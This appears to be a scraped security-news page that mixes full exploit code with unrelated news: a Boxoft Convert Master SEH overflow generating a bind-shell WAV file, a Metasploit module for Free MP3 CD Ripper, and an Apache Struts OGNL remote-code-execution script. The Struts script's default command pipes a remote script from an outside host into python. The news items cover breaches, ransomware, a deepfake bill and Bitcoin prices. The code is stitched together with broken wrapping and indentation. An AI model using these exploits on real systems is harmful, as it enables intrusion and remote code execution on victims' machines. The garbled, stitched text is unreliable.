# Exploit Title: Boxoft Convert Master 1.3.0 - 'wav' SEH Local Exploit
# Vendor Homepage: http://www.boxoft.com/
# Software Link: http://www.boxoft.com/convert-master/setup(boxoft-conver=t-master).exe
# Exploit Author: Achilles
# Tested Version: 1.3.0
# Tested on: Windows 7 x64
# 1.- Run python code :Boxoft_Convert_Master.py
# 2.- Open Boxoft_Convert_Master.exe
# 3.- Click try and Batch Convert Mode
# 4.- Add Evil.wav
# 5.- And you will have a bind shell port 4444
# 6.- Greetings go:XiDreamzzXi,Metatron
#!/usr/bin/env python
import struct
buffer = "\x41" * 4132
nseh = "\xeb\x06\x90\x90" #jmp short 6
seh = struct.pack('<L',0x6d00c683) #CDRip122.dll
nops = "\x90" * 20
#Bind=shellcode port 4444
shellcode = ("\xda\xd5\xb8\x9b\x69\x4d\xa1\xd9\x74\x24\xf4\x5a\x33"
"\xc9\xb1\x60\x83\xc2\x04\x31\x42\x15\x03\x42\x15\x79"
"\x9c\xf2\x9b\x0c\xb0\x35\x05\x03\x97\x32\x91\x2f\x75"
"\x92\x10\x7e\xdf\xd5\xdf\x95\x63\xd0\x24\x96\x1e\xca"
"\xc6\x57\x4b\xd9\xe7\x3c\xe4\x1c\xa0\xd9\x7e\x72\xe4"
"\x38\x26\xd1\x92\x88\x79\x63\x55\xe3\x94\xfe\x9a\xac"
"\xb5\xde\xe4\x35\xbc\xd0\x9f\xe6\x92\x63\x51\x5a\xaf"
"\xad\x1b\xb0\xf9\x6e\x46\xac\x68\xa9\x48\xce\xb8\xe1"
"\xd2\xf5\x1a\x7d\x84\xde\xb9\x55\xa0\xe8\xe3\xd8\xb2"
"\x31\xfb\x1a\x0b\xea\xed\xf4\x8f\xdd\xf5\x55\xbf\x1a"
"\xa5\xe8\xd8\xfa\xde\x45\x11\x7c\x4d\xea\x87\x0f\x9f"
"\xe5\xdf\x90\x18\x7e\x52\x1b\xd7\x24\x22\xab\x1b\xda"
"\x31\xa2\x75\x8f\xa3\x13\x99\x20\x5e\x07\x57\x68\x3e"
"\x10\xc7\xc2\xb0\x2b\xa0\x13\xd6\x6a\x3e\xc3\x1e\x99"
"\x4f\xf0\xce\x63\x50\xe3\x90\x80\x3e\x0e\x9c\x39\x7e"
"\x48\xe6\xf0\xe7\x3b\xd3\x7d\xe3\xa3\x62\x41\xee\x19"
"\xd0\xa8\xc9\xdb\x02\x93\x0f\x34\xb0\xad\x81\x08\x57"
"\xce\xb8\x38\xfe\x13\xc9\xe7\x40\xc2\x17\xa6\x3a\x4c"
"\x06\x31\xfc\x3f\x8f\xcb\x85\x84\x74\x98\x9c\x63\xe5"
"\x46\x2f\xfc\x15\x3b\x5c\x37\xd3\x36\xfc\x39\x3c\x86"
"\x29\x32\xbb\xb3\x04\x13\x6a\xd1\xa7\x55\xac\x8e\xa8"
"\x05\xaf\xc3\xae\x9d\xc6\x5f\xa8\x9d\x8e\x4a\x25\x3a"
"\x35\xa3\xd7\x4c\xaa\xb1\x87\xca\x54\x6d\xdc\xb2\xf3"
"\x3a\xaa\x29\xea\x44\x01\x4e\xb0\x08\x9a\xd0\xb5\x69"
"\x42\xe5\xb4\x5f\x59\xff\xb4\x90\xe2\x97\x66\x09\x89"
"\x87\x8e\xff\xa8\x21\x68\x3f\x01\xe9\xb3\x27\x63\xd2"
"\x93\x2f\x4d\x9c\x28\x21\xd4\x9d\xad\x8f\x24\x19\xc9"
"\x98\xbc\x24\x0b\x47\x84\x9c\x57\xd2\x20\x79\x71\x67"
"\xe0\xd1\xcd\x40\x51\x7d\xe2\x39\xa9\xd2\x92\x4c\x24"
"\x59\x7b\xfd\x89\x6e\xea\xec\xc8\xac\x54\x8a\x26\x60"
"\x81\x38\x06\x32\xab\x56\x1c\xe7\xd0\x78\xe5\xa2\x75"
"\xc8\x28\x1b\xd5\x3f\x51")
payload = buffer + nseh + seh + nops + shellcode
try:
f=open("Evil.wav","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
Boxoft Convert Master 1.3.0 – ‘wav’ SEH Local Exploit
Free MP3 CD Ripper 2.8 – Multiple File Buffer Overflow (Metasploit)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => "Free MP3 CD Ripper 2.6 < 2.8 (.wma.wav.flac.m3u.acc) Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow in Free MP3 CD Ripper versions 2.6 and 2.8.
By constructing a specially crafted WMA WAV M3U ACC FLAC file and attempting to convert it to an MP3 file in the
application, a buffer is overwritten, which allows for running shellcode.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gionathan Reale', # Exploit-DB POC
'ZwX' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2019-9767' ],
[ 'EDB', '45412' ],
[ 'URL', 'https://www.exploit-db.com/exploits/45412' ]
],
'Platform' => 'win',
'Targets' =>
[
[
'Windows 7 x86 - Windows 7 x64',
{
'Ret' => 0x66e42121 # POP POP RET
}
]
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x2f"
},
'Privileged' => false,
'DisclosureDate' => "Sep 09 2018",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'Create malicious file example extension (.wma .wav .acc .flac .m3u)', 'name.wma'])
])
end
def exploit
file_payload = payload.encoded
msfsploit = make_fast_nops(4116)
msfsploit << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # NSEH_JMP
msfsploit << [target.ret].pack("V*") # SEH
msfsploit << file_payload
msfsploit << make_fast_nops(4440)
file_create(msfsploit)
end
end
CybExer Tasked With Enhancing Luxembourg’s Cyber-Defense Capabilities
Cybersecurity firm CybExer Technologies has announced it has been tasked with building a cyber-range for the Luxembourg Directorate of Defense in order to grow the skills of its current and future cyber-personnel.
The cyber-range is essentially an IT-systems simulation environment that aims to improve organizations’ cyber-defense capabilities by conducting regular training and testing.
The company has been awarded a three-year contract by the NATO Support and Procurement Agency (NSPA) to deliver the range, which will utilize CybExer’s management tools and offer realistic and flexible training environments. The platform will primarily be used by the NSPA and Luxembourg Directorate of Defense, but may also be shared with allies and partners.
This follows the recent decision by the Directorate of Defense of the Grand Duchy of Luxembourg to develop its cyber-defense capabilities. In order to grow the skills of its security staff, the directorate is working with the NSPA to purchase new training capabilities.
As part of the agreement, CybExer will also provide a series of dedicated training sessions as well as have responsibility for the operation and maintenance of the range throughout the period of the contract.
Andrus Kivisaar, CEO of CybExer Technologies, commented: “We have been focusing on building and improving cyber-ranges for years and are glad that our dedication and expertise in the field has been recognized at NATO level. We see that the cybersecurity environment is getting more and more complex. It is good to work with a client who shares our vision and demands a sophisticated cyber-range solution.”
Ben Fetler, cybersecurity project manager at the Luxembourg Directorate of Defense, added: “Luxembourg has become a key ICT actor in the European Union. We have invested massively in connectivity and IT infrastructures over the last years, with the aim of becoming a ‘smart nation’ and one of the most dynamic digital economies in Europe. All of this requires protection and with our national cybersecurity strategy we are aiming, together with NSPA and CybExer, at building a highly capable training environment that can prepare our cybersecurity teams for the most advanced threats.”
US Senate Approves New Deepfake Bill
US legislation mandating government research into deepfakes took a step closer to becoming law this week after it passed the Senate by unanimous consent.
Sponsored by Democrat senator for Nevada, Catherine Cortez Masto, the Identifying Outputs of Generative Adversarial Networks (IOGAN) Act recognizes the need for such research as nation states and cyber-criminals hone their tools.
“This bill directs the National Science Foundation (NSF) and the National Institute of Standards and Technology (NIST) to support research on generative adversarial networks. A generative adversarial network is a software system designed to be trained with authentic inputs (e.g. photographs) to generate similar, but artificial, outputs (e.g. deepfakes),” noted a summary of the bill.
“Specifically, the NSF must support research on manipulated or synthesized content and information authenticity and NIST must support research for the development of measurements and standards necessary to accelerate the development of the technological tools to examine the function and outputs of generative adversarial networks or other technologies that synthesize or manipulate content.”
Just this week, Europol, the UN and Trend Micro warned in a new report of the malicious use of deepfakes.
The tech offers cyber-criminals and state actors opportunities to extort high profile figures through pornographic and other content with their faces superimposed, undermine governments through misinformation and could also be used in quasi-BEC attempts to persuade corporate victims to make large wire transfers.
The latter technique has already been used by attackers with an audio clip, in which a British CEO was tricked into sending £200,000 to his attackers.
The potential for political disruption perhaps accounts for the Senate’s unanimous approval of IOGAN.
“In 2019, a deepfake video that went viral in Malaysia involved a political aide who appeared to confess to having had homosexual relations with a cabinet minister,” noted the Europol report.
“Additionally, the video included a call to have the minister investigated for alleged corruption. While the motive behind the video (beyond character defamation) remains unclear, it succeeded to wreak havoc politically and destabilize the coalition government.”
The US bill must now pass through the House of Representatives.
Data Breach at Iowa Hospital, USA – Again
A data breach at an Iowa hospital has exposed the Social Security numbers and private medical information of more than 60,000 patients.
Mercy Iowa City began notifying patients on November 13 of a data breach that occurred in spring 2020 after an employee’s email account was accessed by a threat actor.
The hospital detected the breach on June 24 when the targeted account began sending out phishing emails and spam. An investigation revealed that the hacked account had been compromised between May 15 and June 24.
Security experts brought in to scrutinise the incident confirmed in October that sensitive patient data could have been accessed by the attacker.
Data exposed may have included names, Social Security numbers, driver’s license numbers, and health insurance information.
Chicago-based Polsinelli law firm, representing the hospital, said that 60,473 Iowa residents may have been impacted by the security incident.
In a letter sent out to affected Iowa residents on the hospital’s behalf, Bruce Radke of Polsinelli stated: “Mercy is not aware of any fraud or identity theft to any individual as a result of this incident. Nevertheless, because there was an email account compromise, Mercy searched the impacted account to determine if it contained any personal information that may have been viewed by the third party.
“Mercy determined that the compromised account contained certain personal information, including, depending on the person, their name, Social Security number, driver’s license numbers, date of birth, medical treatment information, and health insurance information.”
Mercy Iowa City is offering one year of complimentary identity theft protection services to patients whose driver’s license numbers and Social Security numbers may have been compromised.
The hospital said that it is implementing a series of cybersecurity measures including multi-factor authentication to prevent any more breaches from happening.
“We have taken steps to reduce the risk of the type of incident occurring in the future, including enhancing our technical security measures,” said Mercy’s privacy officer, Kelli Hale.
This latest data spill is the second and worst breach to occur at Mercy Iowa City. In 2016, the acute care hospital reported a security breach that may have exposed the information of 15,625 patients.
Cyber security is a real threat, sometimes company’s wont act until it happens over and over again. All organisations with an online presence or whom use online storage etc should have Security Audits done periodically. A cyber security audit is usually a one-day consultancy service offering a high-level cyber review of the organisation and its IT estate.
Faith App Pray.com Exposes Millions Through Cloud Misconfig
A popular Christian faith app has unwittingly exposed the personal data of up to 10 million users dating back several years, after misconfiguring its cloud infrastructure, researchers have warned.
Santa Monica-headquartered Pray.com claims to be the “#1 App for daily prayer and biblical audio content” and has been downloaded over a million times from the Play Store.
Researchers at vpnMentor discovered four misconfigured AWS S3 buckets belonging to the company.
Although it had made private around 80,000 files, it failed to replicate these security measures on its Cloudfront CDN, which also had access to the files. This means a hacker could have compromised personal information on as many as 10 million people, most of whom were not even Pray.com users.
“Cloudfront allows app developers to cache content on proxy servers hosted by AWS around the world – and closer to an app’s users – rather than load those files from the app’s servers. Doing so speeds up the app’s performance considerably,” vpnMentor explained.
“Pray.com seemingly overlooked installing proper security measures on its CloudFront account. As a result, any files on the S3 buckets could be indirectly viewed and accessed through the CDN, regardless of their individual security settings.”
After notifying the company repeatedly through early October, vpnMentor finally received a one-word response from Pray.com CEO, Steve Gatena: “Unsubscribe.”
While most of the misconfigured buckets’ 1.8 million files featured corporate content, those 80,000 exposed files represented a serious privacy and security risk.
They contained uploaded profile pics from app users, CSV files from churches using the app, with the names, home and email addresses, phone numbers and other info on churchgoers and PII of individuals donating to churches via the app.
Perhaps most damaging was a feature which uploads the entire phonebook of any user who gives the app permission to invite their friends to join. These “phonebooks” contained hundreds of contacts, with info including name, phone number, email, home and business address.
Many of the files also contained log-ins from private accounts, the report continued.
This data went all the way back to 2016.
The researchers warned that individuals caught up in the leak, some of whom had .gov and .mil email addresses, were at risk from follow-on phishing, identity fraud and account takeover.
The vpnMentor team noted that regulators for the CCPA and GDPR may want to investigate further. Five weeks after initial contact was made with Pray.com, the offending files were removed, although the S3 buckets apparently remain exposed.
Bitcoin reaches highest value since 2017 $18.5k
21/11/20
Bitcoin’s resurgence is being felt throughout the cryptocurrency and finance industries. It’s anyone’s guess as to where the cryptocurrency is heading next. It’s a lot like riding a roller coaster – you don’t really know what’s going to happen, you just hang on for the ride.
After hitting an all-time high of around $19,700 per in late 2017, the price of a single Bitcoin dipped sharply before bottoming out around $3,200 in December 2018.
The volatile cryptocurrency got hot again over the summer and after riding a few peaks and valleys, it’s been mostly full steam ahead ever since. As of this writing, Bitcoin is trading just north of $18,600 and seems on pace to make a serious attempt at topping its all-time high value.
One study about Bitcoin’s 2017 run claimed it may have been the result of market manipulation. It’s worth noting, no real evidence ever surfaced.
Cryptocurrencies, and Bitcoin specifically, have benefited from recent interest in investment and financial services companies.
Business intelligence firm MicroStrategy bought an additional $175 million in Bitcoin back in September. In October, Square announced it was investing $50 million (around one percent of its total assets) in Bitcoin, saying it viewed the cryptocurrency as an instrument of economic empowerment. Just last week, PayPal started letting users in the US buy, hold and sell four specific cryptocurrencies, including Bitcoin.
Apache Struts 2.5.20 – Double OGNL evaluation POC
Exploit Title: Apache Struts 2.5.20 – Double OGNL evaluation
# Exploit Author: West Shepherd
# Vendor Homepage: https://struts.apache.org/download.cgi
# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)
# CVE : CVE-2019-0230
# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.
# Source(s):
# https://github.com/PrinceFPF/CVE-2019-0230
# https://cwiki.apache.org/confluence/display/WW/S2-059
# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22
# !/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import logging
class Exploit:
def __init__(
self,
target='',
redirect=False,
proxy_address=''
):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
self.target = target
self.session = requests.session()
self.redirect = redirect
self.timeout = 0.5
self.proxies = {
'http': 'http://%s' % proxy_address,
'https': 'http://%s' % proxy_address
} \
if proxy_address is not None \
and proxy_address != '' else {}
self.query_params = {}
self.form_values = {}
self.cookies = {}
boundary = "---------------------------735323031399963166993862150"
self.headers = {
'Content-Type': 'multipart/form-data; boundary=%s' % boundary,
'Accept': '*/*',
'Connection': 'close'
}
payload = "%{(#nike='multipart/form-data')." \
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess?(#_memberAccess=#dm):" \
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
\
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
\
"(#ognlUtil.getExcludedPackageNames().clear())." \
"(#ognlUtil.getExcludedClasses().clear())." \
"(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}')." \
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
\
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
"(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." \
"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()."
\
"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
\
"(#ros.flush())}"
self.payload = "--%s\r\nContent-Disposition: form-data;
name=\"foo\"; " \
"filename=\"%s\0b\"\r\nContent-Type:
text/plain\r\n\r\nx\r\n--%s--\r\n\r\n" % (
boundary, payload, boundary
)
def do_get(self, url, params=None, data=None):
return self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=data,
params=params
)
def do_post(self, url, data=None, params=None):
return self.session.post(
url=url,
data=data,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params
)
def debug(self):
try:
import http.client as http_client
except ImportError:
import httplib as http_client
http_client.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
return self
def send_payload(self, command='curl --insecure -sv
https://10.10.10.10/shell.py|python -'):
url = self.target
stdout.write('sending payload to %s payload %s' % (url, command))
resp = self.do_post(url=url, params=self.query_params,
data=self.payload.replace('{COMMAND}', command))
return resp
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help=True,
description='CVE-2020-0230 Struts
2 exploit')
try:
parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com/index.action')
parser.add_argument('-command', action='store',
help='Command to execute: touch /tmp/pwn')
parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')
if len(argv) == 1:
parser.print_help()
exit(1)
options = parser.parse_args()
exp = Exploit(
proxy_address=options.proxy,
target=options.target
)
if options.debug:
exp.debug()
stdout.write('target %s debug %s proxy %s\n' % (
options.target, options.debug, options.proxy
))
result = exp.send_payload(command=options.command)
stdout.write('Response: %d\n' % result.status_code)
except Exception as error:
stderr.write('error in main %s' % str(error))
Americold Operations Downed by Cyber-Attack
US cold storage firm Americold has been hit by what appears to be a ransomware attack affecting business operations.
The 117-year-old firm operates temperature-controlled warehouses and transportation to support the cold chains needed to supply, for example, vaccines like the one being developed by Pfizer and BioNTech for COVID-19.
However, in a regulatory filing with the Securities and Exchange Commission (SEC), the firm revealed that its IT network was hit by an unspecified “cybersecurity incident” on Monday.
“As a precautionary measure, the company took immediate steps to help contain the incident and implemented business continuity plans, where appropriate, to continue ongoing operations. The company has notified and is working closely with law enforcement, cybersecurity experts and legal counsel,” it said.
“Security, in all its forms, remains a top priority at Americold, and the company will continue to seek to take all appropriate measures to further safeguard the integrity of its information technology infrastructure, data and customer information.”
With total revenue in 2020 so far exceeding $1.4bn, Americold would certainly seem like a prime candidate to extort with “human-operated” ransomware. The nature of its business also means that operational outages could seriously impact customers, potentially piling on the pressure to pay in order to resume business-as-usual.
One truck driver took to Twitter on Monday to post a picture of an affected Americold depot in the mid-west.
“At a Americold and their systems are down,” they noted. “They are unable to assign me to a door. Well let the waiting begin.”
Jamie Akhtar, CEO and co-founder of CyberSmart, said the incident highlighted the importance of good cybersecurity in supply chains.
“In order to strengthen the security ecosystem, businesses should not just concern themselves with their own security practices but hold their distributors and suppliers to account,” he added. “The UK is making some headway in this direction by requiring the Cyber Essentials certification for certain sectors. Other industries would do well to follow suit.”
Employees Have Access to an Average of 10 Million Files
The average employee in todays work force has access to an average of 10 Million files, with larger organizations having around 20 Million files accessible.
According to new research by Varonis, 64% of financial services organizations have more than 1000 sensitive files open to every employee. “Securely transitioning to remote work and locking down exposed data to mitigate the risk of remote logins were two of the highest security priorities for IT teams in financial services,” Varonis said.
“Mobilizing without proper security controls exponentially increases the risk posed by insiders, malware and ransomware attacks, and opens companies up to possible non-compliance with regulations such as SOX, GDPR and PCI.”
Inside financial services, the average number of folders open to all access is 1.3 million in large organizations, although this drops to 778,045 in medium organizations and 101,717 in small firms.
Brandon Hoffman, CISO at Netenrich, said restricting access to sensitive data is a foundational security step, but unfortunately, many organizations don’t do it.
He said: “They don’t because there are a few steps you need to take to ensure it is actually restricted. These steps can be daunting but they are critical to success in cyber. First, you need to classify all the data in the business and determine prioritization relative to risk. You then need to ensure that identity of users is organized and limited. The third, and most crucial step, is to put controls in place that limit access to and manipulation of high priority data by specific users. This does not only solve the challenge of users stealing or mishandling data, but will drive efficiency and security in several other areas.
“It does not come as a surprise then to find out that this is not being done as we continue to see the leakage/breach of personal data year-over-year.”
Heather Paunet, senior vice-president at Untangle, told Infosecurity she found it surprising that so many employees, especially at content-sensitive workplaces such as financial institutions, continue to have a depth of access to millions of files.
“To streamline network access, safeguard files and address vulnerable access points within the network, businesses and IT leaders should establish a set of criteria during any employee onboarding process in relation to their network access,” she said.
“Defining which positions have access to specific information creates layers of access that are not easily broken. For example, a marketing team member should not have the same access to employee information as an HR manager, and neither should have the same access as a member of the finance team dealing with sensitive business information.”
She recommended routinely auditing this access, especially in times of high turnover or during a large-scale transition to working from home, to allow IT teams to address any unauthorized access points or redefine access policies as needed.
“If employees should need additional access to systems or data, formal requests can be made, creating a procedure for opening access to specific employees for an approved amount of time,” Paunet said.
“Hopefully, businesses now understand that it takes a single access point to wreak havoc on an entire network, and minimizing these access points is one of the best ways to compliment any network security solution in place.”